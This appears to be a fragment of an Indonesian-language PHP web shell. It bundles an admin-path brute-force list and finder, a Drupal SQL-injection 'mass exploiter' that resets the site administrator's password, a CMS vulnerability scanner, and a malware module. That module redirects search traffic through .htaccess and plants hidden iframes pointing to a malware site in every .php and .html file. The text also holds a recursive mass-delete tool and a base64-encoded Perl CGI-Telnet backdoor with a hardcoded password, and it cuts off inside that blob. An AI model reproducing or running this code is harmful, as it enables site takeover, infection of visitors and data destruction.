new/login.html
admin/uploadimage.php
admin/submit.php
admin/uploadbg.php
wp-admin
index.php/admin
index.php/login
index.php/admin.php
index.php/admin.html
index.php/login.php
index.php/login.html
users
dinkesadmin
retel
panel
paneladmin
panellogin
redaksi
cp-admin
Login@web
admin1
admin2
admin3
admin4
admin5
admin6
admin7
admin8
admin9
admin10
master
master/index.php
master/login.php
terasadmin/index.php
terasadmin/login.php
rahasia
rahasia/login.php
rahasia/admin.php
rahasia/index.php
dinkesadmin/login.php
adminpmb
adminpmb/index.php
adminpmb/login.php
system
system/index.php
system/login.php
system/admin.php
webadmin
webadmin/index.php
webadmin/login.php
wpanel
wpanel/index.php
wpanel/login.php
adminpanel
adminpanel/index.php
adminpanel/login.php
adminkec
adminkec/index.php
adminkec/login.php
admindesa
admindesa/index.php
admindesa/login.php
adminkota
adminkota/index.php
adminkota/login.php
admin123
admin123/index.php
admin123/login.php
logout
logout/index.php
logout/login.php
logout/admin.php
adminweb_setting
admin1.html
admin
administrator
admin1.html
admin2.php
admin2.html
yonetim.php
yonetim.html
yonetici.php
yonetici.html
ccms/
ccms/login.php
ccms/index.php
maintenance/
webmaster/
adm/
configuration/
configure/
websvn/
admin/
admin/account.php
admin/account.html
admin/index.php
admin/index.html
admin/login.php
admin/login.html
admin/home.php
admin/controlpanel.html
admin/controlpanel.php
admin.php
admin.html
admin/cp.php
admin/cp.html
cp.php
cp.html
administrator/
administrator/index.html
administrator/index.php
administrator/login.html
administrator/login.php
administrator/account.html
administrator/account.php
administrator.php
administrator.html
login.php
login.html
modelsearch/login.php
moderator.php
moderator.html
moderator/login.php
moderator/login.html
moderator/admin.php
moderator/admin.html
moderator/
account.php
account.html
controlpanel/
controlpanel.php
controlpanel.html
admincontrol.php
admincontrol.html
adminpanel.php
adminpanel.html
admin1.asp
admin2.asp
yonetim.asp
yonetici.asp
admin/account.asp
admin/index.asp
admin/login.asp
admin/home.asp
admin/controlpanel.asp
admin.asp
admin/cp.asp
cp.asp
administrator/index.asp
administrator/login.asp
administrator/account.asp
administrator.asp
login.asp
modelsearch/login.asp
moderator.asp
moderator/login.asp
moderator/admin.asp
account.asp
controlpanel.asp
admincontrol.asp
adminpanel.asp
fileadmin/
fileadmin.php
fileadmin.asp
fileadmin.html
administration/
administration.php
administration.html
sysadmin.php
sysadmin.html
phpmyadmin/
myadmin/
sysadmin.asp
sysadmin/
ur-admin.asp
ur-admin.php
ur-admin.html
ur-admin/
Server.php
Server.html
Server.asp
Server/
wp-admin/
administr8.php
administr8.html
administr8/
administr8.asp
webadmin/
webadmin.php
webadmin.asp
webadmin.html
administratie/
admins/
admins.php
admins.asp
admins.html
administrivia/
Database_Administration/
WebAdmin/
useradmin/
sysadmins/
admin1/
system-administration/
administrators/
pgadmin/
directadmin/
staradmin/
ServerAdministrator/
SysAdmin/
administer/
LiveUser_Admin/
sys-admin/
typo3/
panel/
cpanel/
cPanel/
cpanel_file/
platz_login/
rcLogin/
blogindex/
formslogin/
autologin/
support_login/
meta_login/
manuallogin/
simpleLogin/
loginflat/
utility_login/
showlogin/
memlogin/
members/
login-redirect/
sub-login/
wp-login.php
login1/
dir-login/
login_db/
xlogin/
smblogin/
customer_login/
UserLogin/
login-us/
acct_login/
admin_area/
bigadmin/
project-admins/
phppgadmin/
pureadmin/
sql-admin/
radmind/
openvpnadmin/
wizmysqladmin/
vadmind/
ezsqliteadmin/
hpwebjetadmin/
newsadmin/
adminpro/
Lotus_Domino_Admin/
bbadmin/
vmailadmin/
Indy_admin/
ccp14admin/
irc-macadmin/
banneradmin/
sshadmin/
phpldapadmin/
macadmin/
administratoraccounts/
admin4_account/
admin4_colon/
radmind-1/
Super-Admin/
AdminTools/
cmsadmin/
SysAdmin2/
globes_admin/
cadmins/
phpSQLiteAdmin/
navSiteAdmin/
server_admin_small/
logo_sysadmin/
server/
database_administration/
power_user/
system_administration/
ss_vms_admin_sm/
adminarea/
bb-admin/
adminLogin/
panel-administracion/
instadmin/
memberadmin/
administratorlogin/
admin/admin.php
admin_area/admin.php
admin_area/login.php
siteadmin/login.php
siteadmin/index.php
siteadmin/login.html
admin/admin.html
admin_area/index.php
bb-admin/index.php
bb-admin/login.php
bb-admin/admin.php
admin_area/login.html
admin_area/index.html
admincp/index.asp
admincp/login.asp
admincp/index.html
webadmin/index.html
webadmin/admin.html
webadmin/login.html
admin/admin_login.html
admin_login.html
panel-administracion/login.html
nsw/admin/login.php
webadmin/login.php
admin/admin_login.php
admin_login.php
admin_area/admin.html
pages/admin/admin-login.php
admin/admin-login.php
admin-login.php
bb-admin/index.html
bb-admin/login.html
bb-admin/admin.html
admin/home.html
pages/admin/admin-login.html
admin/admin-login.html
admin-login.html
admin/adminLogin.html
adminLogin.html
home.html
rcjakar/admin/login.php
adminarea/index.html
adminarea/admin.html
webadmin/index.php
webadmin/admin.php
user.html
modelsearch/login.html
adminarea/login.html
panel-administracion/index.html
panel-administracion/admin.html
modelsearch/index.html
modelsearch/admin.html
admincontrol/login.html
adm/index.html
adm.html
user.php
panel-administracion/login.php
wp-login.php
adminLogin.php
admin/adminLogin.php
home.php
adminarea/index.php
adminarea/admin.php
adminarea/login.php
panel-administracion/index.php
panel-administracion/admin.php
modelsearch/index.php
modelsearch/admin.php
admincontrol/login.php
adm/admloginuser.php
admloginuser.php
admin2/login.php
admin2/index.php
adm/index.php
adm.php
affiliate.php
adm_auth.php
memberadmin.php
administratorlogin.php
admin/admin.asp
admin_area/admin.asp
admin_area/login.asp
admin_area/index.asp
bb-admin/index.asp
bb-admin/login.asp
bb-admin/admin.asp
pages/admin/admin-login.asp
admin/admin-login.asp
admin-login.asp
user.asp
webadmin/index.asp
webadmin/admin.asp
webadmin/login.asp
admin/admin_login.asp
admin_login.asp
panel-administracion/login.asp
adminLogin.asp
admin/adminLogin.asp
home.asp
adminarea/index.asp
adminarea/admin.asp
adminarea/login.asp
panel-administracion/index.asp
panel-administracion/admin.asp
modelsearch/index.asp
modelsearch/admin.asp
admincontrol/login.asp
adm/admloginuser.asp
admloginuser.asp
admin2/login.asp
admin2/index.asp
adm/index.asp
adm.asp
affiliate.asp
adm_auth.asp
memberadmin.asp
administratorlogin.asp
siteadmin/login.asp
siteadmin/index.asp
ADMIN/
paneldecontrol/
login/
cms/
admon/
ADMON/
administrador/
superadmin/
superadmin.php
ADMIN/login.php
panelc/
panel/admin.php
panel/index.php
ADMIN/login.html";
function template() {
echo \'
<script type="text/javascript">
<!--
function insertcode($text, $place, $replace)
{
var $this = $text;
var logbox = document.getElementById($place);
if($replace == 0)
document.getElementById($place).innerHTML = logbox.innerHTML+$this;
else
document.getElementById($place).innerHTML = $this;
//document.getElementById("helpbox").innerHTML = $this;
}
-->
</script>
<div class="mybox" style="text-align:left">
<h1>Admin Page Finder</h1><hr color="white"><br>
<div class="wrapper">
<div class="tube">
<table class="tabnet"><tr><td>
<form action="" method="post" name="xploit_form">
URL
       <input type="text" name="xploit_url" value="\'.$_POST[\'xploit_url\'].\'" style="border:0;border-bottom:1px solid #292929; width:500px;" /><br><br>
404 string
<input type="text" name="xploit_404string" value="\'.$_POST[\'xploit_404string\'].\'" style="border:0;border-bottom:1px solid #292929; width:500px;" /><br><br>
<input class="kotak" type="submit" style="width: 80px; height: 30px; border-color:white;margin:10px 2px 0 2px;" name="xploit_submit" value=" Scan!" align="center" />
</form><br>
<br /></table><hr color="white">
</div> <!-- /tube -->
<br />
<div class="green">
<div class="tube" id="rightcol">
Admin Login List: <span id="verified">0</span> / <span id="total">0</span><br />
<h3 style="color:lime">Nemu!</h3>
</div> <!-- /tube -->
</div><!-- /green -->
<br clear="all" /><br />
<div class="blue">
<div class="tube" id="logbox">
<br />
<br />
Admin page Finder :<br /><br />
</div> <!-- /tube -->
</div> <!-- /blue -->
</div> <!-- /wrapper -->
<br clear="all"><br>\';
}
function show($msg, $br=1, $stop=0, $place=\'logbox\', $replace=0) {
if($br == 1) $msg .= "<br />";
echo "<script type=\"text/javascript\">insertcode(\'".$msg."\', \'".$place."\', \'".$replace."\');</script>";
if($stop == 1) exit;
@flush();@ob_flush();
}
function check($x, $front=0) {
global $_POST,$site,$false;
if($front == 0) $t = $site.$x;
else $t = \'http://\'.$x.\'.\'.$site.\'/\';
$headers = get_headers($t);
if (!eregi(\'200\', $headers[0])) return 0;
$data = @file_get_contents($t);
if($_POST[\'xploit_404string\'] == "") if($data == $false) return 0;
if($_POST[\'xploit_404string\'] != "") if(strpos($data, $_POST[\'xploit_404string\'])) return 0;
return 1;
}
// --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
template();
if(!isset($_POST[\'xploit_url\'])) die;
if($_POST[\'xploit_url\'] == \'\') die;
$site = $_POST[\'xploit_url\'];
if ($site[strlen($site)-1] != "/") $site .= "/";
if($_POST[\'xploit_404string\'] == "") $false = @file_get_contents($site."d65897f5380a21a42db94b3927b823d56ee1099a-this_can-t_exist.html");
$list[\'end\'] = str_replace("
", "", $list[\'end\']);
$list[\'front\'] = str_replace("
", "", $list[\'front\']);
$pathes = explode("
", $list[\'end\']);
$frontpathes = explode("
", $list[\'front\']);
show(count($pathes)+count($frontpathes), 1, 0, \'total\', 1);
$verificate = 0;
foreach($pathes as $path) {
show(\'Nge-Cek \'.$site.$path.\' : \', 0, 0, \'logbox\', 0);
$verificate++; show($verificate, 0, 0, \'verified\', 1);
if(check($path) == 0) show(\'Gak ada\', 1, 0, \'logbox\', 0);
else{
show(\'<span style="color: lime;"><strong>KETEMU!</strong></span>\', 1, 0, \'logbox\', 0);
show(\'<a href="\'.$site.$path.\'">\'.$site.$path.\'</a>\', 1, 0, \'rightcol\', 0);
}
}
preg_match("/\/\/(.*?)\//i", $site, $xx); $site = $xx[1];
if(substr($site, 0, 3) == "www") $site = substr($site, 4);
foreach($frontpathes as $frontpath) {
show(\'Nge-Cek http://\'.$frontpath.\'.\'.$site.\'/ : \', 0, 0, \'logbox\', 0);
$verificate++; show($verificate, 0, 0, \'verified\', 1);
if(check($frontpath, 1) == 0) show(\'Gak ada\', 1, 0, \'logbox\', 0);
else{
show(\'<span style="color: lime;"><strong>KETEMU!</strong></span>\', 1, 0, \'logbox\', 0);
show(\'<a href="http://\'.$frontpath.\'.\'.$site.\'/">\'.$frontpath.\'.\'.$site.\'</a>\', 1, 0, \'rightcol\', 0);
}
}
}
elseif($_GET[\'666\'] == drupal) {
echo "<div class=\'mybox\'>
<h1>Drupal Mass Exploiter</h1><hr color=\'white\'><br>
<form method=\'post\' action=\'\'>
<textarea rows=\'10\'class=\'mybox\' cols=\'10\' name=\'url\'>
http://www.site.com
http://www.site2.com</textarea><br><br>
<input type=\'submit\' class=\'kotak\' style=\'border-color:white\' name=\'submit\' value=\'SIKAT!\'>
</form>
</div>
";
$drupal = ($_GET["drupal"]);
if($drupal == \'drupal\'){
$filename = $_FILES[\'file\'][\'name\'];
$filetmp = $_FILES[\'file\'][\'tmp_name\'];
echo "<div class=\'mybox\'><form method=\'POST\' enctype=\'multipart/form-data\'>
<input type=\'file\'name=\'file\' />
<input type=\'submit\' value=\'drupal !\' />
</form></div>";
move_uploaded_file($filetmp,$filename);
}
error_reporting(0);
if (isset($_POST[\'submit\'])) {
function exploit($url) {
$post_data = "name[0;update users set name %3D \'berandal\' , pass %3D \'" . urlencode(\'$S$DrV4X74wt6bT3BhJa4X0.XO5bHXl/QBnFkdDkYSHj3cE1Z5clGwu\') . "\',status %3D\'1\' where uid %3D \'1\';#]=FcUk&name[]=Crap&pass=test&form_build_id=&form_id=user_login&op=Log+in";
$params = array(\'http\' => array(\'method\' => \'POST\', \'header\' => "Content-Type: application/x-www-form-urlencoded
", \'content\' => $post_data));
$ctx = stream_context_create($params);
$data = file_get_contents($url . \'/user/login/\', null, $ctx);
if ((stristr($data, \'mb_strlen() expects parameter 1 to be string\') && $data) || (stristr($data, \'FcUk Crap\') && $data)) {
$fp = fopen("exploited.txt", \'a+\');
fwrite($fp, "Exploitied User: berandal Pass: berandal =====> {$url}/user/login");
fwrite($fp, "
");
fwrite($fp, "--------------------------------------------------------------------------------------------------");
fwrite($fp, "
");
fclose($fp);
echo "<font color=\'lime\'><b>Success:<font color=\'white\'>berandal</font> Pass:<font color=\'white\'>berandal</font> =><a href=\'{$url}/user/login\' target=_blank ><font color=\'green\'> {$url}/user/login </font></a></font></b><br>";
} else {
echo "<font color=\'red\'><b>Failed => {$url}/user/login</font></b><br>";
}
}
$urls = explode("
", $_POST[\'url\']);
foreach ($urls as $url) {
$url = @trim($url);
echo exploit($url);
}
}
}
elseif($_GET[\'666\'] == cmsvuln) {
@set_time_limit(0);
@error_reporting(0);
// Script Functions , start ..!
function ask_exploit_db($component){
$exploitdb ="http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=$component&filter_exploit_text=&filter_author=&filter_platform=0&filter_type=0&filter_lang_id=0&filter_port=&filter_osvdb=&filter_cve=";
$result = @file_get_contents($exploitdb);
if (eregi("No results",$result)) {
echo"<td>Gak ada</td><td><a href=\'http://www.google.com/search?hl=en&q=download+$component\'>Download</a></td></tr>";
}else{
echo"<td><a href=\'$exploitdb\'>Klik Ini..!</a></td><td><--</td></tr>";
}
}
/**************************************************************/
/* Joomla Conf */
function get_components($site){
$source = @file_get_contents($site);
preg_match_all(\'{option,(.*?)/}i\',$source,$f);
preg_match_all(\'{option=(.*?)(&|&|")}i\',$source,$f2);
preg_match_all(\'{/components/(.*?)/}i\',$source,$f3);
$arz=array_merge($f2[1],$f[1],$f3[1]);
$coms=array();
if(count($arz)==0){ echo "<tr><td style=\'border-color:white\' colspan=3>[~] Gak ada ! Keknya Site Error atau Option salah :-</td></tr>";}
foreach(array_unique($arz) as $x){
$coms[]=$x;
}
foreach($coms as $comm){
echo "<tr><td>$comm</td>";
ask_exploit_db($comm);
}
}
/**************************************************************/
/* WP Conf */
function get_plugins($site){
$source = @file_get_contents($site);
preg_match_all("#/plugins/(.*?)/#i", $source, $f);
$plugins=array_unique($f[1]);
if(count($plugins)==0){ echo "<tr><td style=\'border-color:white\' colspan=1>[~] Gak ada ! Keknya Site Error atau Option salah :-</td></tr>";}
foreach($plugins as $plugin){
echo "<tr><td>$plugin</td>";
ask_exploit_db($plugin);
}
}
/**************************************************************/
/* Nuke\'s Conf */
function get_numod($site){
$source = @file_get_contents($site);
preg_match_all(\'{?name=(.*?)/}i\',$source,$f);
preg_match_all(\'{?name=(.*?)(&|&|l_op=")}i\',$source,$f2);
preg_match_all(\'{/modules/(.*?)/}i\',$source,$f3);
$arz=array_merge($f2[1],$f[1],$f3[1]);
$coms=array();
if(count($arz)==0){ echo "<tr><td style=\'border-color:white\' colspan=3>[~] Gak ada ! Keknya Site Error atau Option salah :-</td></tr>";}
foreach(array_unique($arz) as $x){
$coms[]=$x;
}
foreach($coms as $nmod){
echo "<tr><td>$nmod</td>";
ask_exploit_db($nmod);
}
}
/*****************************************************/
/* Xoops Conf */
function get_xoomod($site){
$source = @file_get_contents($site);
preg_match_all(\'{/modules/(.*?)/}i\',$source,$f);
$arz=array_merge($f[1]);
$coms=array();
if(count($arz)==0){ echo "<tr><td style=\'border-color:white\' colspan=3>[~] Gak ada ! Keknya Site Error atau Option salah :-</td></tr>";}
foreach(array_unique($arz) as $x){
$coms[]=$x;
}
foreach($coms as $xmod){
echo "<tr><td>$xmod</td>";
ask_exploit_db($xmod);
}
}
/**************************************************************/
/* Header */
function t_header($site){
echo\'<br><hr color="white"><br><table align="center" border="1" style="border-color=white; text-align:left;" width="50%" cellspacing="1" cellpadding="5">\';
echo\'
<tr>
<td style="border-color=white">Site : <a href="\'.$site.\'">\'.$site.\'</a></td>
<td style="border-color=white">Exploit-db</b></td>
<td style="border-color=white">Exploit it !</td>
</tr>
\';
}
echo \'<div class="mybox" style="text-align:left">
<h1>CMS Vulnerability Scanner</h1><hr color="white">
<form method="POST" action="" class="header-izz">
<p>Link  <input type="text" style="border:0;border-bottom:1px solid #292929; width:500px;" name="site" value="http://127.0.0.1/" >
<br><br>
CMS
   <select name="pilihan" style="border:0;border-bottom:1px solid #292929; width:500px;">
<option>Wordpress</option>
<option>Joomla</option>
<option>Nukes</option>
<option>Xoops</option>
</select><br><br>       <input type="submit" style="width: 50px; height: 30px; border-color=white;margin:10px 2px 0 2px;" value="Sikat" class="kotak"></p>
</form>\';
// Start Scan :P :P ...
if($_POST){
$site=strip_tags(trim($_POST[\'site\']));
t_header($site);
echo $x01 = ($_POST[\'pilihan\']=="Wordpress") ? get_plugins($site):"";
echo $x02 = ($_POST[\'pilihan\']=="Joomla") ? get_components($site):"";
echo $x03 = ($_POST[\'pilihan\']=="Nuke\'s") ? get_numod($site):"";
echo $x04 = ($_POST[\'pilihan\']=="Xoops") ? get_xoomod($site):"";
}
exit;
}
elseif($_GET[\'666\'] == \'mal\')
{
@ini_set(\'output_buffering\', 0); {
?>
<form action="" method="post">
<br><center><font size=4>=[ Malware Tools ]=</font><br><br>
<font color="red">Private Network / Dial Up Modem ,PC Private , ato Home PC / NETWORK</font> (Ojo digawe goblok!!)<br><br>
<input class=\'kotak\' type=\'submit\' name=\'redirect\' value="Redirect Search Engine To Malware Site" /></td><td>
<input type=\'submit\' class=\'kotak\' name=\'infect\' value="Infect User" /></td><tr></table>
<input type=\'submit\' name=\'code\' class=\'kotak\' value="Code Insert" /></td><tr></table>
</center><br>
<?php
if (isset($_POST[\'redirect\'])) if ($myfile = fopen(".htaccess", \'a\')) {
fwrite($myfile, gzuncompress(base64_decode($mal)));
fwrite($myfile, "
");
fclose($myfile);
ob_end_flush();
} else echo "<script>alert(\'Malware Ga ke kirim Jancookk\'); hideAll();</script>";
} if (isset($_POST[\'infect\'])) {
$coun = 0;
$str = "<iframe width=0px height=0px frameborder=no name=frame1 src=" . $malsite . "> </iframe>";
foreach (glob($_GET[\'dir\'] . $directorysperator . "*.php") as $injectj00) {
if ($myfile = fopen($injectj00, \'a\')) {
fputs($myfile, $str);
fclose($myfile);
} else $coun = 1;
}
foreach (glob($_GET[\'dir\'] . $directorysperator . "*.htm") as $injectj00) {
if ($myfile = fopen($injectj00, \'a\')) {
fputs($myfile, $str);
fclose($myfile);
} else $coun = 1;
}
foreach (glob($_GET[\'dir\'] . $directorysperator . "*.html") as $injectj00) {
if ($myfile = fopen($injectj00, \'a\')) {
fputs($myfile, $str);
fclose($myfile);
} else $coun = 1;
}
if ($coun == 0) echo "<script>alert(\'Malware Infect In user ... DONE...!!!!\'); hideAll();</script>";
else echo "<script>alert(\'Malware Ga ke kirim Jancookk\'); hideAll();</script>";
}
if (!isset($_POST[\'code\'])) {
if ($file1 = fopen(".htaccess", \'r\')) {
} else echo "<script>alert(\'Malware Ga ke kirim Jancookk\'); hideAll();</script>";
} else {
if ($myfile = fopen(".htaccess", \'a\')) {
fwrite($myfile, $_POST[\'code\']);
fwrite($myfile, "
");
fclose($myfile);
ob_end_flush();
} else echo "Permission Denied";
}
}
elseif($_GET[\'666\'] == \'mass_delete\') {
function hapus_massal($dir,$namafile) {
if(is_writable($dir)) {
$dira = scandir($dir);
foreach($dira as $dirb) {
$dirc = "$dir/$dirb";
$lokasi = $dirc.\'/\'.$namafile;
if($dirb === \'.\') {
if(file_exists("$dir/$namafile")) {
unlink("$dir/$namafile");
}
} elseif($dirb === \'..\') {
if(file_exists("".dirname($dir)."/$namafile")) {
unlink("".dirname($dir)."/$namafile");
}
} else {
if(is_dir($dirc)) {
if(is_writable($dirc)) {
if(file_exists($lokasi)) {
echo "[<font color=red>DELETED</font>] $lokasi<br>";
unlink($lokasi);
$berandal = hapus_massal($dirc,$namafile);
}
}
}
}
}
}
}
if($_POST[\'start\']) {
echo "<div style=\'margin: 5px auto; padding: 5px\'>";
hapus_massal($_POST[\'d_dir\'], $_POST[\'d_file\']);
echo "</div>";
} else {
echo "<center class=\'mybox\'>";
echo "<h1>Mass Delete</h1><form method=\'post\'>
<font style=\'text-decoration: underline;\'>Folder:</font><br>
<input type=\'text\' name=\'d_dir\' value=\'$dir\' style=\'width: 450px; color:white;\' height=\'10\'><br><br>
<font style=\'text-decoration: underline;\'>Filename:</font><br>
<input type=\'text\' name=\'d_file\' value=\'index.php\' style=\'width: 450px; color:white;\' height=\'10\'><br><br>
<input type=\'submit\' name=\'start\' value=\'Mass Delete\' style=\'width: 450px;\'>
</form></center>";
}
}
elseif($_GET[\'666\'] == \'cgi\') {
echo "<center/><br/><div class=\'mybox\'>
<h1>CGI-Telnet Version 1.3 </h1>
Pass: bandungkotasampah<br>";
mkdir(\'cgi2012\', 0755);
chdir(\'cgi2012\');
$kokdosya = ".htaccess";
$dosya_adi = "$kokdosya";
$dosya = fopen ($dosya_adi , \'w\') or die ("Dosya açılamadı!");
$metin = "AddHandler cgi-script .izo";
fwrite ( $dosya , $metin ) ;
fclose ($dosya);
$cgi2012 = \'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluCnVzZSBNSU1FOjpCYXNlNjQ7CiRWZXJzaW9uPSAiQ0dJLVRlbG5ldCBWZXJzaW9uIDEuMyI7CiRFZGl0UGVyc2lvbj0iPGZvbnQgc3R5bGU9J3RleHQtc2hhZG93OiAwcHggMHB4IDZweCByZ2IoMjU1LCAwLCAwKSwgMHB4IDBweCA1cHggcmdiKDMwMCwgMCwgMCksIDBweCAwcHggNXB4IHJnYigzMDAsIDAsIDApOyBjb2xvcjojZmZmZmZmOyBmb250LXdlaWdodDpib2xkOyc+YjM3NGsgLSBDR0ktVGVsbmV0PC9mb250PiI7CgokUGFzc3dvcmQgPSAiYmFuZHVuZ2tvdGFzYW1wYWgiOwkJCSMgQ2hhbmdlIHRoaXMuIFlvdSB3aWxsIG5lZWQgdG8gZW50ZXIgdGhpcwoJCQkJIyB0byBsb2dpbi4Kc3ViIElzX1dpbigpewoJJG9zID0gJnRyaW0oJEVOVnsiU0VSVkVSX1NPRlRXQVJFIn0pOwoJaWYoJG9zID1+IG0vd2luL2kpewoJCXJldHVybiAxOwoJfQoJZWxzZXsKCQlyZXR1cm4gMDsKCX0KfQokV2luTlQgPSAmSXNfV2luKCk7CQkJCSMgWW91IG5lZWQgdG8gY2hhbmdlIHRoZSB2YWx1ZSBvZiB0aGlzIHRvIDEgaWYKCQkJCQkJCQkjIHlvdSdyZSBydW5uaW5nIHRoaXMgc2NyaXB0IG9uIGEgV2luZG93cyBOVAoJCQkJCQkJCSMgbWFjaGluZS4gSWYgeW91J3JlIHJ1bm5pbmcgaXQgb24gVW5peCwgeW91CgkJCQkJCQkJIyBjYW4gbGVhdmUgdGhlIHZhbHVlIGFzIGl0IGlzLgoKJE5UQ21kU2VwID0gIiYiOwkJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUgb24gV2luZG93cyBOVC4KCiRVbml4Q21kU2VwID0gIjsiOwkJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUgb24gVW5peC4KCiRDb21tYW5kVGltZW91dER1cmF0aW9uID0gMTAwMDA7CSMgVGltZSBpbiBzZWNvbmRzIGFmdGVyIGNvbW1hbmRzIHdpbGwgYmUga2lsbGVkCgkJCQkJCQkJIyBEb24ndCBzZXQgdGhpcyB0byBhIHZlcnkgbGFyZ2UgdmFsdWUuIFRoaXMgaXMKCQkJCQkJCQkjIHVzZWZ1bCBmb3IgY29tbWFuZHMgdGhhdCBtYXkgaGFuZyBvciB0aGF0CgkJCQkJCQkJIyB0YWtlIHZlcnkgbG9uZyB0byBleGVjdXRlLCBsaWtlICJmaW5kIC8iLgoJCQkJCQkJCSMgVGhpcyBpcyB2YWxpZCBvbmx5IG9uIFVuaXggc2VydmVycy4gSXQgaXMKCQkJCQkJCQkjIGlnbm9yZWQgb24gTlQgU2VydmVycy4KCiRTaG93RHluYW1pY091dHB1dCA9IDE7CQkJIyBJZiB0aGlzIGlzIDEsIHRoZW4gZGF0YSBpcyBzZW50IHRvIHRoZQoJCQkJCQkJCSMgYnJvd3NlciBhcyBzb29uIGFzIGl0IGlzIG91dHB1dCwgb3RoZXJ3aXNlCgkJCQkJCQkJIyBpdCBpcyBidWZmZXJlZCBhbmQgc2VuZCB3aGVuIHRoZSBjb21tYW5kCgkJCQkJCQkJIyBjb21wbGV0ZXMuIFRoaXMgaXMgdXNlZnVsIGZvciBjb21tYW5kcyBsaWtlCgkJCQkJCQkJIyBwaW5nLCBzbyB0aGF0IHlvdSBjYW4gc2VlIHRoZSBvdXRwdXQgYXMgaXQKCQkJCQkJCQkjIGlzIGJlaW5nIGdlbmVyYXRlZC4KCiMgRE9OJ1QgQ0hBTkdFIEFOWVRISU5HIEJFTE9XIFRISVMgTElORSBVTkxFU1MgWU9VIEtOT1cgV0hBVCBZT1UnUkUgRE9JTkcgISEKCiRDbWRTZXAgPSAoJFdpbk5UID8gJE5UQ21kU2VwIDogJFVuaXhDbWRTZXApOwokQ21kUHdkID0gKCRXaW5OVCA/ICJjZCIgOiAicHdkIik7CiRQYXRoU2VwID0gKCRXaW5OVCA/ICJcXCIgOiAiLyIpOwokUmVkaXJlY3RvciA9ICgkV2luTlQgPyAiIDI+JjEgMT4mMiIgOiAiIDE+JjEgMj4mMSIpOwokY29scz0gMTUwOwokcm93cz0gMjY7CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBSZWFkcyB0aGUgaW5wdXQgc2VudCBieSB0aGUgYnJvd3NlciBhbmQgcGFyc2VzIHRoZSBpbnB1dCB2YXJpYWJsZXMuIEl0CiMgcGFyc2VzIEdFVCwgUE9TVCBhbmQgbXVsdGlwYXJ0L2Zvcm0tZGF0YSB0aGF0IGlzIHVzZWQgZm9yIHVwbG9hZGluZyBmaWxlcy4KIyBUaGUgZmlsZW5hbWUgaXMgc3RvcmVkIGluICRpbnsnZid9IGFuZCB0aGUgZGF0YSBpcyBzdG9yZWQgaW4gJGlueydmaWxlZGF0YSd9LgojIE90aGVyIHZhcmlhYmxlcyBjYW4gYmUgYWNjZXNzZWQgdXNpbmcgJGlueyd2YXInfSwgd2hlcmUgdmFyIGlzIHRoZSBuYW1lIG9mCiMgdGhlIHZhcmlhYmxlLiBOb3RlOiBNb3N0IG9mIHRoZSBjb2RlIGluIHRoaXMgZnVuY3Rpb24gaXMgdGFrZW4gZnJvbSBvdGhlciBDR0kKIyBzY3JpcHRzLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBSZWFkUGFyc2UgCnsKCWxvY2FsICgqaW4pID0gQF8gaWYgQF87Cglsb2NhbCAoJGksICRsb2MsICRrZXksICR2YWwpOwoJCgkkTXVsdGlwYXJ0Rm9ybURhdGEgPSAkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLzsKCglpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJHRVQiKQoJewoJCSRpbiA9ICRFTlZ7J1FVRVJZX1NUUklORyd9OwoJfQoJZWxzaWYoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAiUE9TVCIpCgl7CgkJYmlubW9kZShTVERJTikgaWYgJE11bHRpcGFydEZvcm1EYXRhICYgJFdpbk5UOwoJCXJlYWQoU1RESU4sICRpbiwgJEVOVnsnQ09OVEVOVF9MRU5HVEgnfSk7Cgl9CgoJIyBoYW5kbGUgZmlsZSB1cGxvYWQgZGF0YQoJaWYoJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC8pCgl7CgkJJEJvdW5kYXJ5ID0gJy0tJy4kMTsgIyBwbGVhc2UgcmVmZXIgdG8gUkZDMTg2NyAKCQlAbGlzdCA9IHNwbGl0KC8kQm91bmRhcnkvLCAkaW4pOyAKCQkkSGVhZGVyQm9keSA9ICRsaXN0WzFdOwoJCSRIZWFkZXJCb2R5ID1+IC9cclxuXHJcbnxcblxuLzsKCQkkSGVhZGVyID0gJGA7CgkJJEJvZHkgPSAkJzsKIAkJJEJvZHkgPX4gcy9cclxuJC8vOyAjIHRoZSBsYXN0IFxyXG4gd2FzIHB1dCBpbiBieSBOZXRzY2FwZQoJCSRpbnsnZmlsZWRhdGEnfSA9ICRCb2R5OwoJCSRIZWFkZXIgPX4gL2ZpbGVuYW1lPVwiKC4rKVwiLzsgCgkJJGlueydmJ30gPSAkMTsgCgkJJGlueydmJ30gPX4gcy9cIi8vZzsKCQkkaW57J2YnfSA9fiBzL1xzLy9nOwoKCQkjIHBhcnNlIHRyYWlsZXIKCQlmb3IoJGk9MjsgJGxpc3RbJGldOyAkaSsrKQoJCXsgCgkJCSRsaXN0WyRpXSA9fiBzL14uK25hbWU9JC8vOwoJCQkkbGlzdFskaV0gPX4gL1wiKFx3KylcIi87CgkJCSRrZXkgPSAkMTsKCQkJJHZhbCA9ICQnOwoJCQkkdmFsID1+IHMvKF4oXHJcblxyXG58XG5cbikpfChcclxuJHxcbiQpLy9nOwoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkaW57JGtleX0gPSAkdmFsOyAKCQl9Cgl9CgllbHNlICMgc3RhbmRhcmQgcG9zdC